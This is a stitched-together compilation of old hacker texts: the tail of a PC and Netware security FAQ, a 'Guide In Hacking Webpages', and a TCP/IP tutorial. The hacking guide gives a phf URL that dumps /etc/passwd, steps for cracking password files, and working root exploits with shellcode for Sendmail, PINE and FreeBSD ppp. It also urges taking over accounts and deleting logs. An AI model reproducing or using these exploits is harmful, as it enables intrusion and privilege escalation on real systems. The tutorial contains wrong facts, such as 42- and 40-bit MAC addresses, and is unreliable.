any station and log in as user Supervisor. No password will be asked.

If you're running Netware 4, there is one last step.



9. Load Netware 4 install utility (just type LOAD INSTALL at the console

prompt) and select the options to install the Directory Services. You

be prompted for the Admin password while doing this. After that, you

may go to any station and log in as user Admin, using the password

that you have selected.



**NOTE: If Disk Edit is unavailable, any Disk Editing utility with

searching capabilities will suffice.



----------------------------------------------------------------





3. Building a SECURE System



3a. Understanding the Issues



Potential "Hackers"

===================

After reading this FAQ, you've probably revised your idea of a

secure PC quite a bit. Truth be told, IBM didn't design the Personal

Computer with security in mind. Back in 1980, their main objective was

to get _something_ to market before Apple gobbled up all the market

share.



After awhile, security programs started to emerge that attempted

to bridge this gap. These were quite popular, and were put into use

by many companies to prevent 'curious' employees from messing with

the computers.



However, ways to bypass these security programs were quickly found.

As long as computers are designed for convenience, and with humans

in mind, this will almost always happen.



So, who are potential "Hackers"? The answer is: Anyone. Experienced

users especially, but even newbies sometimes find weak spots. This

is not to say that everyone *is* a hacker.



As always, prevention is the best medicine. The following sections

deal with how to secure your system, both through physical and

software-based means.







Physical Security

=================

In the old days, back when computers filled multiple rooms, the

security of a system was basically all physical: Locks, security

guards, etc. Now the emphasis has shifted away from physical security,

and is leaning more towards software-based methods. However,

in some cases, a certain degree of physical security is in order.



**If you want to prevent people from resetting your CMOS and

accessing the floppy drives, etc. you have to secure the system

itself. This can be done by having the computer in a locked room,

leaving only the screen and keyboard accessible. There are many

products which let you extend the reach of screen and keyboard cables.

Even some that let you control many different computers using one

screen.



***To protect your hard disk data, I would suggest investing in a

removable media system that lets you "hot-swap" and lock hard disks.

The hard disk could then be easily removed (with the *unique* key)

and stored in a safe to prevent theft of data.



***Computer locks which bind your computer to a desk are good for

discouraging theft.



***There are also security devices available made by companies such as

Anchor Pad, Lucasey, and others that completely enclose the PC.

These are devices such as lockdown pads, cables for monitors, and

metal boxes. There are also devices that cover and lock the floppy

and CD-ROM slots.



Make sure that you test the computer immediately after these

lockdown devices are installed. In some instances the stress induced

on the casing can cause certain parts to malfunction.



***You can buy devices that prevent the PC electrical cord from

being unplugged or turned on without a key.



***As one last measure of security, it's always nice to invest in

some insurance for your computer. It won't get your data back,

but it *will* give you some peace of mind.





Software-Based Security

=======================

Below is a list of measures you can take to secure your system using

software/firmware based methods. They are listed in order of

increasing security, so minimum security would be only implementing

option #1, maximum security would be implementing #1-8. Keep in

mind that implementing any of these without implementing every item

below it leaves possible entry points open.



1. Set up a BIOS password for both the Setup screen *and*

access to the system.

a. Make sure the password is not easily guessable

(i.e., birthdate, name backwards, etc. are

easily guessed) See next section.

b. Make sure that the password is the maximum possible

number of characters supported by the BIOS.

2. Disable floppy booting from within the BIOS

3. Disable Bypass of startup files

a. This is done by adding the line:

SWITCHES=/F /N

to the CONFIG.SYS file.

b. Additionally, you might want to precede

all statements in the Autoexec.bat

with CTTY NUL, and then have CTTY CON

as the last line. This prevents breaking

out of autoexec.bat

c. If you use DriveSpace compression, add the

following line to your DRVSPACE.INI file:

SWITCHES=/F /N

d. Add the line:

BREAK OFF

This reduces the number of chances you have to

break out of AUTOEXEC.BAT, all though it doesn't

switch it off entirely

4. Set up a DOS-based Security TSR

a. Make sure you cannot access the floppy drive

without a password, and that it allows

for write-protection.

b. Make sure it allows for password protection.

5. Set up a Windows-Based Security program

a. Make sure you can control which features of

Windows you can limit or disable.

b. Make sure it allows for password protection.

6. Install an encrypted filesystem program. (i.e., CryptDisk)

a. This will prevent access to the computer and

files on the hard disk unless the password

is entered. It will render your data

unaccessible even if the hard disk is

extracted from the system.

7. Delete the following files:

FORMAT

DELTREE

SUBST

JOIN

BACKUP

RESTORE

ATTRIB





Passwords

=========

Passwords are generally the weakest link in the security chain.

When choosing a password, remember these tips:



Do NOT choose something obvious. Swear words, your birthdate,

topics pertaining to what you do and/or your interests are are

examples of BAD passwords.



A Good Password is one that is totally random. To pick a password,

try this: Grab a dictionary. Close your eyes, and flip to a

random page. With your eyes still closed, put your finger on a

random spot on this page. Remember the word, and do this again.

Combine the two words, and append a three-digit number to the end.

You also might want to intersperse non-alphanumeric characters

into the password in random ways, such as an odd dash or

apostrophe here and there.



Also, NEVER write your password down. Always keep it in your head.

A simple Post-It note on your monitor can bring down all the

security that you so meticulously set up!



A good password system hides the passwords from everyone,

including the system administrators. This means that the sys

admins cannot tell if the users are putting in weak passwords.



One final note: When designing a security system, be sure to take

the user into account. If a system is of such high-grade security

that it is a nuisance to use, people will always find the lazy

way to do it......




http://www.friendster.com/profiles/bloodrun =D

Guide In Hacking Webpages

Getting the Password File Through FTP

Ok well one of the easiest ways of getting superuser access is through anonymous ftp access into a webpage. First you need learn a little about the password file...

root:User:d7Bdg:1n2HG2:1127:20:Superuser

TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh

BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh

This is an example of a regular encrypted password file. The Superuser is the part that gives you root. That's the main part of the file.

root:x:0:1:Superuser:/:

ftp:x:202:102:Anonymous ftp:/u1/ftp:

ftpadmin:x:203:102:ftp Administrator:/u1/ftp

This is another example of a password file, only this one has one little difference, it's shadowed. Shadowed password files don't let you view or copy the actual encrypted password. This causes problems for the password cracker and dictionary maker(both explained later in the text). Below is another example of a shadowed password file:

root:x:0:1:0000-Admin(0000):/:/usr/bin/csh

daemon:x:1:1:0000-Admin(0000):/:

bin:x:2:2:0000-Admin(0000):/usr/bin:

sys:x:3:3:0000-Admin(0000):/:

adm:x:4:4:0000-Admin(0000):/var/adm:

lp:x:71:8:0000-lp(0000):/usr/spool/lp:

smtp:x:0:0:mail daemon user:/:

uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:

nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico

listen:x:37:4:Network Admin:/usr/net/nls:

nobody:x:60001:60001:uid no body:/:

noaccess:x:60002:60002:uid no access:/:

webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh

pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false

ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false

Shadowed password files have an "x" in the place of a password or sometimes they are disguised as an * as well.

Now that you know a little more about what the actual password file looks like you should be able to identify a normal encrypted pw from a shadowed pw file. We can now go on to talk about how to crack it.

Cracking a password file isn't as complicated as it would seem, although the files vary from system to system. 1.The first step that you would take is to download or copy the file. 2. The second step is to find a password cracker and a dictionary maker. Although it's nearly impossible to find a good cracker there are a few ok ones out there. I recomend that you look for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper. Now for a dictionary maker or a dictionary file... When you start a cracking prog you will be asked to find the the password file. That's where a dictionary maker comes in. You can download one from nearly every hacker page on the net. A dictionary maker finds all the possible letter combinations with the alphabet that you choose(ASCII, caps, lowercase, and numeric letters may also be added) . We will be releasing our pasword file to the public soon, it will be called, Psychotic Candy, “The Perfect Drug.” As far as we know it will be one of the largest in circulation. 3. You then start up the cracker and follow the directions that it gives you.

The PHF Technique

Well I wasn't sure if I should include this section due to the fact that everybody already knows it and most servers have already found out about the bug and fixed it. But since I have been asked questions about the phf I decided to include it.

The phf technique is by far the easiest way of getting a password file(although it doesn't work 95% of the time). But to do the phf all you do is open a browser and type in the following link:

http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

You replace the webpage_goes_here with the domain. So if you were trying to get the pw file for www.webpage.com you would type:

http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

and that's it! You just sit back and copy the file(if it works).

Telnet and Exploits

Well exploits are the best way of hacking webpages but they are also more complicated then hacking through ftp or using the phf. Before you can setup an exploit you must first have a telnet proggie, there are many different clients you can just do a netsearch and find everything you need.

It’s best to get an account with your target(if possible) and view the glitches from the inside out. Exploits expose errors or bugs in systems and usually allow you to gain root access. There are many different exploits around and you can view each seperately. I’m going to list a few below but the list of exploits is endless.

This exploit is known as Sendmail v.8.8.4

It creates a suid program /tmp/x that calls shell as root. This is how you set it up:

cat <<>/tmp/x.c

#define RUN "/bin/ksh"

#include

main()

{

execl(RUN,RUN,NULL);

}

_EOF_

#

cat <<>/tmp/spawnfish.c

main()

{

execl("/usr/lib/sendmail","/tmp/smtpd",0);

}

_EOF_

#

cat <<>/tmp/smtpd.c

main()

{

setuid(0); setgid(0);

system("chown root /tmp/x ;chmod 4755 /tmp/x");

}

_EOF_

#

#

gcc -O -o /tmp/x /tmp/x.c

gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c

gcc -O3 -o /tmp/smtpd /tmp/smtpd.c

#

/tmp/spawnfish

kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1`

rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c

sleep 5

if [ -u /tmp/x ] ; then

echo "leet..."

/tmp/x

fi

and now on to another exploit. I’m going to display the pine exploit through linux. By watching the process table with ps to see which users are running PINE, one can then do an ls in /tmp/ to gather the lockfile names for each user. Watching the process table once again will now reveal when each user quits PINE or runs out of unread messages in their INBOX, effectively deleting

the respective lockfile.

Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts(for a generic example) will cause PINE to create ~hamors/.rhosts as a 666 file with PINE's process id as its contents. One may now simply do an echo "+ +" > /tmp/.hamors_lockfile, then rm /tmp/.hamors_lockfile.

This was writen by Sean B. Hamor…For this example, hamors is the victim while catluvr is the attacker:

hamors (21 19:04) litterbox:~> pine

catluvr (6 19:06) litterbox:~> ps -aux | grep pine

catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine

hamors 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine

catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors

- -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4

catluvr (8 19:07) litterbox:~> ps -aux | grep pine

catluvr 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine

catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4

hamors (23 19:09) litterbox:~> pine

catluvr (11 19:10) litterbox:~> ps -aux | grep pine

catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine

hamors 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine

catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4

catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4

+ +

catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4

catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors

now on to another one, this will be the last one that I’m going to show. Exploitation script for the ppp vulnerbility as described by no one to date, this is NOT FreeBSD-SA-96:15. Works on

FreeBSD as tested. Mess with the numbers if it doesnt work. This is how you set it up:

#include

#include

#include

#define BUFFER_SIZE 156 /* size of the bufer to overflow */

#define OFFSET -290 /* number of bytes to jump after the start

of the buffer */

long get_esp(void) { __asm__("movl %esp,%eax\n"); }

main(int argc, char *argv[])

{

char *buf = NULL;

unsigned long *addr_ptr = NULL;

char *ptr = NULL;

char execshell[] =

"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */

"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes */

"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" /* 20 bytes */

"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; /* 15 bytes, 57 total */

int i,j;

buf = malloc(4096);

/* fill start of bufer with nops */

i = BUFFER_SIZE-strlen(execshell);

memset(buf, 0x90, i);

ptr = buf + i;

/* place exploit code into the buffer */

for(i = 0; i <>

*ptr++ = execshell[i];

addr_ptr = (long *)ptr;

for(i=0;i < (104/4); i++)

*addr_ptr++ = get_esp() + OFFSET;

ptr = (char *)addr_ptr;

*ptr = 0;

setenv("HOME", buf, 1);

execl("/usr/sbin/ppp", "ppp", NULL);

}

Now that you’ve gotten root “what’s next?” Well the choice is up to you but I would recommend changing the password before you delete or change anything. To change their password all you have to do is login via telnet and login with your new account. Then you just type: passwd and it will ask you for the old password first followed by the new one. Now only you will have the new pw and that should last for a while you can now upload you pages, delete all the logs and just plain do your worstJ Psychotic writes our own exploits and we will be releasing them soon, so keep your eyes open for them.




-----------------------------☺☺☺☺FOr any question☺☺☺☺-----------------------
~~~~~~~~~~~~~~~~~~~~~~~~Look for the answer..~~~~~~~~~~~~~~~~~~~~

or, mail me @: peter2dmax@yahoo.com for assistance...
or simply add me in your friendster account(if you have) live_and_kill13@yahoo.com

Secrets Behind TCP/IP

It makes me think for a couple of a weeks, before my common sense recognize this..~.~"
now, i'm sharing it to all of you....
-peter-


TCP\IP or Transmission Control Protocol \ Internet Protocol is a stack or
collection of various protocols. A protocol is basically the commands or
instructions using which two computers within a local network or the Internet
can exchange data or information and resources.
Transmission Control Protocol \ Internet Protocol or the TCP\IP was developed
around the time of the ARPAnet. It is also known as the Protocol Suite. It
consists of various protocols but as the TCP
(Transmission Control Protocol) and the IP (Internet Protocol) are the most,
well known of the suite of protocols, the entire family or suite is called the
TCP\IP suite.
The TCP\ IP Suite is a stacked suite with various layers stacked on each other,
each layer looking after one aspect of the data transfer. Data is transferred
from one layer to the other. The Entire TCP\ IP suite can be broken down into
the below layers-:
Layer Name Protocol
Link Layer (Hardware, Ethernet) ARP, RARP, PPP, Ether
Network Layer(The Invisible Layer) IP, ICMP
Transport Layer UDP, TCP
Application Layer(The Visible Layer) The Actual running Applications like-: FTP
client, Browser
Physical Layer (Not part of TCP \IP) Physical Data Cables, Telephone wires
Data travels from the Link Layer down to the Physical Layer at the source and at
the destination it travels from the Physical Layer to the Link Layer. We will
later discuss what each layer and each protocol does.
The TCP\IP suite not only helps to transfer data but also has to correct various
problems that might occur during the data transfer. There are basically two
types of most common errors that might occur during the process of data
transfer. They are-:
Data Corruption -: In this kind of error, the data reaches the destination after
getting corrupted.
Data Loss -: In this kind of error, the entire collection of packets which
constitute the data to be transferred does not reach the destination.
TCP\IP expects such errors to take place and has certain features which prevent,
such error which might occur.
Checksums-: A checksum is a value (Normally, a 16 Bit Value) that is formed by
summing up the Binary Data in the used program for a given data block. The
program being used is responsible for the calculation of the Checksum value. The
data being sent by the program sends this calculated checksum value, along with
the data packets to the destination. When the program running at the destination
receives the data packets, it re-calculates the Checksum value. If the Checksum
value calculated by the Destination program matches with the Checksum Value
attached to the Data Packets by the Source Program match, then the data transfer
is said to be valid and error free. Checksum is calculated by adding up all the
octets in a datagram.

Packet Sequencing-: All data being transferred on the net is broken down into
packets at the source and joined together at the destination. The data is broken
down into packets in a particular sequence at the source. This means that, for
example, the first byte has the first sequence number and the second byte the
second sequence number and so on. These packets are free to travel independently
on the net, so sometimes, when the data packets reach the destination they
arrive, out of sequence, which means that the packet which had the first
sequence number attached to it does not reach the destination first. Sequencing
defines the order in which the hosts receive the data packets or messages. The
application or the layer running at the destination automatically builds up the
data from the sequence number in each packet.
The source system breaks the data to be transferred into smaller packets and
assigns each packet a unique sequence number. When the destination gets the
packets, it's starts rearranging the packets by reading the sequence numbers of
each packet to make the data received usable.
For example, say you want to transfer a 18000 octet file. Not all networks can
handle the entire 18000 octet packets at a time. So the huge file is broken down
into smaller say 300 octet packets. Each packet has been assigned a unique
sequence number. Now when the packets reach the destination the packets are put
back together to get the usable data. Now during the transportation process, as
the packets can move independently on the net, it is possible that the packet 5
will arrive at the destination before packet 4 arrives. In such a situation, the
sequence numbers are used by the destination to rearrange the data packets in
such a way that even if Data packet 5 arrived earlier, Packet 4 will always
precede Packet 5.
A data can easily be corrupted while it is being transferred from the source to
the destination. Now if a error control service is running then if it detects
data corruption, then it asks the source to re-send the packets of data. Thus
only non corrupted data reaches the destination. An error control service
detects and controls the same two types of errors-:
1.) Data Loss
2.) Data Corruption
The Checksum values are used to detect if the data has been modified or
corrupted during the transfer from source to destination or any corruption in
the communication channel which may have caused data loss.
Data Corruption is detected by the Checksum Values and by performing Cyclic
Redundancy Checks
(CRC 's). CRC 's too like the Checksums are integer values but require intensely
advanced calculation and hence are rarely used.
There is yet another way of detecting data corruption-: Handshaking.
This feature ensures demands that both the source and destination must transmit
and receive acknowledgement messages, that confirm transfer of uncorrupted data.
Such acknowledgement messages are known as ACK messages.
Let's take an example of a typical scenario of data transfer between two
systems.
Source Sends MSG1 to Destination. It will not send MSG2 to Destination unless
and until it gets the MSG ACK and destination will not send more requests for
data or the next request message (MSG2) unless it gets the ACK from Source
confirming that the MSG1 ACK was received by it. If the source does not get a
ACK message from the destination, then something which is called a timed-out
occurs and the source will re send the data to destination.
So this means that if A sends a data packet to B and B checksums the data packet
and finds the data corrupted, then it can simply delete for a time out to take
place. Once the time out takes place, A will re send the data packet to B. But
this kind of system of deleting corrupt data is not used as it is inefficient
and time consuming.
Instead of deleting the corrupt data and waiting for a time out to take place,
the destination (B) sends a not acknowledged or NACK message to source(A). When
A gets the NACK message, instead of waiting for a time out to take place, it
straightaway resends the data packet.
An ACK message of 1000 would mean that all data up to 1000 octets has been
received till now.
TCP/ IP is a layered suite of protocols. All layers are equally important and
with the absence of even a single layer, data transfer would not have been
possible. Each TCP/ IP layer contributes to the entire process of data transfer.
An excellent example, is when you send an email. For sending mail there is a
separate protocol, the SMTP protocol which belongs to the Application layer. The
SMTP Application protocol like all other application layer protocols assumes
that there is a reliable connection existing between the two computers. For the
SMTP application protocol to do what it is designed for, i.e. to send mail, it
requires the existence of all other Layers as well. The Physical Layer i.e.
cables and wires is required to transport the data physically. The Transmission
Control Protocol or the TCP protocol which belongs to the Transport Layer is
needed to keep track of the number of packets sent and for error correction. It
is this protocol that makes sure that the data reaches the other end. The TCP
protocol is called by the Application Protocol to ensure error free
communication between the source and destination. For the TCP layer to do its
work properly i.e. to ensure that the data packets reach the destination, it
requires the existence of the Internet Protocol or IP. The IP protocol contains
the Checksum and Source and Destination IP address.
You may wonder why do we need different protocols like TCP and IP and why not
bundle them into the same Application protocol.? The TCP protocol contains
commands or functions which are needed by various application protocols like
FTP, SMTP and also HTTP. The TCP protocol also calls on the IP protocol, which
in turn contains commands or functions which some application protocols require
while others don’t. So rather than bundling the entire TCP and IP protocol set
into specific application protocols, it is better to have different protocols
which are called whenever required.
The Link Layer which is the Hardware or Ethernet layer is also needed for
transportation of the data packets. The PPP or the Point to Point Protocol
belongs to this layer. Before we go on let's get accustomed with certain TCP\IP
terms. Most people get confused between datagrams and packets and think that
they are one and the same thing . You see, a datagram is a unit of data which is
used by various protocols and a packet is a physical object or thing which moves
on a physical medium like a wire. There is a remarkable difference between a
Packet and a Datagram, but it is beyond the scope of this book. To make things
easier I will use only the term datagram (Actually this is the official
term.)while discussing various protocols.
Two different main protocols are involved in transporting packets from source to
destination.
1.) The Transmission Control Protocol or the TCP Protocol
2.) The Internet Protocol or the IP protocol.
Besides these two main protocols, the Physical Layer and the Ethernet Layer are
also indispensable to data
transfer.
THE TRANSPORT LAYER
The TCP protocol
The Transmission Control Protocol is responsible for breaking up the data into
smaller datagrams and putting the datagrams back to form usable data at the
destination. It also resends the lost datagrams to destination where the
received datagrams are reassembled in the right order. The TCP protocol does the
bulk of work but without the IP protocol, it cannot transfer data.
Let's take an example to make things more clearer. Let's say your Internet
Protocol Address or IP address is xxx.xxx.xxx.xxx or simply x and the
destination's IP is yyy.yyy.yyy.yyy or simply y. Now As soon as the three-way
connection is established between x and y, x knows the destination IP address
and also the Port to which it is connected to. Both x and y are in different
networks which can handle different sized packets. So in order to send datagrams
which are in receivable size, x must know what is the maximum datagram size
which y can handle. This too is determined by both x and y during connection
time.
So once x knows the maximum size of the datagram which y can handle, it breaks
down the data into smaller chunks or datagrams. Each datagram has it's own TCP
header which too is put by TCP.
A TCP Header contains a lot of information, but the most important of it is the
Source and Destination IP and Port numbers and yes also the sequence number.
**************
HACKING TRUTH: Learn more about Ports, IP's, Sockets in the Net Tools Manual
**************
The source which is your computer(x) now knows what the IP Addresses and Port
Numbers of the Destination and Source computers are. It now calculates the
Checksum value by adding up all the octets of the datagram and puts the final
checksum value to the TCP Header. The different octets and not the datagrams are
then numbered. An octet would be a smaller broken down form of the entire data.
TCP then puts all this information into the TCP header of each datagram. A TCP
Header of a datagram would finally look like -:

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
| Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| The Actual Data form the next 500 octets |
| |


There are certain new fields in the TCP header which you may not know off. Let's
see what these new fields signify. The Windows field specifies the octets of new
data which is ready to be processed. You see not all computers connected to the
Internet run at the same speed and to ensure that a faster system does not send
datagrams to a slow system at a rate which is faster than it can handle, we use
the Window field. As the computer receives data , the space in the Window field
gets decreased indicating that the receiver has received the data. When it
reaches zero the sender stops sending further packets. Once the receiver
finishes processing the received data, it increases the Window field, which in
turn indicates that the receiver has processed the earlier sent data and is
ready to receive more chunks of data.
The Urgent Field tells the remote computer to stop processing the last octet and
instead receive the new octet. This is normally not commonly used.
The TCP protocol is a reliable protocol, which means that we have a guarantee
that the data will arrive at the destination properly and without any errors. It
ensures that the data being received by the receiving end is arranged in the
same correct order in which it was sent.
The TCP Protocol relies on a virtual circuit between the client and the host.
The circuit is opened via a 3 part process known as the three part handshake. It
supports full duplex transportation of data which means that it provides a path
for two way data transfer. Hence using the TCP protocol, a computer can send and
receive datagrams at the same time.
Read RFC 793 for further in depth details about the TCP protocol.
The User Datagram Protocol or the UDP Protocol
The User Data protocol or the UDP is yet another protocol which is a member of
the Transport Layer. TCP is the standard protocol used by all systems for
communications. TCP is used to break down the data to be transported into
smaller datagrams, before they (the datagrams) are sent across a network. Thus
we can say that TCP is used where more than a single or multiple datagrams are
involved.
Sometimes, the data to be transported is able to fit into a single datagram. We
do not need to break the data into smaller datagrams as the size of the data is
pretty small. The perfect example of such data is the DNS system. To send out
the query for a particular domain name, a single datagram is more than enough.
Also the IP that is returned by the Domain Name Server does not require more
than one datagram for transportation. So in such cases instead of making use of
the complex TCP protocol, applications fall back to the UDP protocol.
The UDP protocol works almost the way TCP works. But the only differences being
that TCP breaks the data to be transferred into smaller chunks, does sequencing
by inserting a sequence number in the header and no error control. Thus we can
conclude by saying that the UDP protocol is an unreliable protocol with no way
to confirm that the data has reached the destination.
The UDP protocol does insert a USP header to the single datagram it is
transporting. The UDP header contains the Source and Destination IP Addresses
and Port Numbers and also the Checksum value. The UDP header is comparatively
smaller than the TCP Header.
It is used by those applications where small chunks of data are involved. It
offers services to the User's Network Applications like NFS(Network File
Sharing) and SNMP.
Read RFC 768 for further in depth details about the UDP protocol.
THE NETWORK LAYER
The IP Protocol
Both the TCP and the UDP protocols, after inserting the headers to the
datagram(s) given to them pass them to the Internet Protocol or the IP Protocol.
The main job of the IP protocol is to find a way of transporting the datagrams
to the destination receiver. It does not do any kind of error checking.
The IP protocol too adds it's own IP Header to each datagram. The IP header
contains the source and destination IP addresses, the protocol number and yet
another checksum. The IP header of a particular datagram looks like-:
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| TCP header info followed by the actual data being transferred|
| |


The Source and destination IP addresses and needed so that…well it is obvious
isn't it? The Protocol number is added so that the IP protocol knows to which
Transport Protocol the datagram has to be passed.
You see various Transport Protocols are used like for example TCP or UDP. So
this protocol number is inserted to tell IP the protocol to which the datagram
has to be passed.
It too inserts it's own Checksum value which is different from the Checksum
Value inserted by the Transport Protocols. This Checksum has to be inserted as
without it the Internet Protocol will not be able to verify if the Header has
been damaged in the transfer process and hence the datagram might reach a wrong
destination. The Time to Live field specifies a value which is decreased each
time the datagram passes through a network. Remember Tracert?
The Internet Protocol Header contains other fields as well, but they are quite
advanced and cannot be included in a manual which gives an introduction to the
TCP\IP protocol. To learn more about the IP protocol read RFC 791.
The Internet Control Message Protocol or the ICMP
The ICMP protocol allows hosts to transfer information on errors that might have
occurred during the data transfer between two hosts. It is basically used to
display error messages about errors that might occur during the data transfer.
The ICMP is a very simple protocol without any headers. It is most commonly used
to diagnose Network Problems. The famous utility PING is a part of the ICMP
protocol. ICMP requests do not require the user or application to mention any
port number as all ICMP requests are answered by the Network Software itself.
The ICMP protocol too handles only a single datagram. That's why we say in PING
only a single datagram is sent to the remote computer. This protocol can remote
many network problems like Host Down, Congested Network etc
Read RFC 792 for further in depth details about the ICMP protocol.
The Link Layer
Almost all networks use Ethernet. Each machine in a network has it's own IP
address and it's Ether Address. The Ether Address of a computer is different
than it's IP address. An Ether Address is a 42 bit address while the IP address
is only a 32 bit address. A Network must know which computer to deliver the
datagram to. Right? For this the Ether Header is used.
The Ether Header is a 14 octet header that contains the Source and Destination
Ethernet address, and a type code. Ether too calculates it's own Checksum value.
The Type code relates to the protocol families to be used within the Network.
The Ether Layer passes the datagram to the protocol specified by this field
after inserting the Ether Header. There is simply no connection between the
Ethernet Address and the IP address of a machine. Each machine needs to have a
Ethernet to IP address translation table on its hard disk.
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Ethernet destination address (first 32 bits) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Ethernet dest (last 16 bits) |Ethernet source (first 16 bits) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Ethernet source address (last 32 bits) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Type code |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| IP header, then TCP header, then your data |
| |
| |
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Ethernet Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Address Resolution Protocol or ARP
Data before being transmitted across the Internet or across a local network is
broken down into smaller Packets which are suitable for transfer over the net.
These packets have the Source and Destination IP's but for the transfer to take
place the suitable Hardware Addresses or the MAC addresses must also be known.
That is where ARP comes in.
To get the Hardware MAC addresses, ARP or Address Resolution Protocol sends a
request message. The Router replies with the Hardware Address. It is similar to
the DNS and it too has a cache. This cache can be a bit vulnerable as a Hacker
could forge a connection from a remote machine claiming to be one of the cached
locations. So we can conclude that ARP translates IP's into Ethernet Addresses.
One thing to remember about ARP is that it only translates outgoing packets.
There is also something called the RARP which is an abbreviation for Reverse
Address Resolution Protocol, which like the name says does exactly reverse of
what ARP does.
There is simply no algorithm to get the Ethernet Address from the IP Address. To
carry out such translations, each computer has a file which has a table with
rows for each computer and two columns for their corresponding IP address and
Ethernet Address. The File is somewhat like the following-:
Internet Protocol Address Ethernet Address
Computer Name xxx.xy.yy.yx 08-00-39-00-2F-C3
Say there are a system in a Network (A) and an unidentified system (B) contacts
it. Now A only knows the IP address of B. Now A will first try to identify
whether B is the same network so that it can directly communicate via Ethernet.
So it will first check the IP to MAC address translation table which it has. If
it finds the IP in the table then well and good and A will establish a
connection with B via Ethernet.
On the Other hand if A does not find any match for the specific IP, it will send
out a request in the form of a 'Broadcast'. All computers within the Network
will receive this broadcast and will search their own IP to MAC translation
table and will reply with the necessary MAC address. A basic difference between
an Ip address and MAC address is that an IP is the form xxx.xxx.xxx.xxx and a
MAC address is in the form
xx:xx:xx:xx:xx:xx and one is 32 bit while the other is 40 bit.
Read RFC 826 for further in depth details about the ARP protocol.
Application Layer
Till now you have learnt how data is broken down into smaller chunks, and
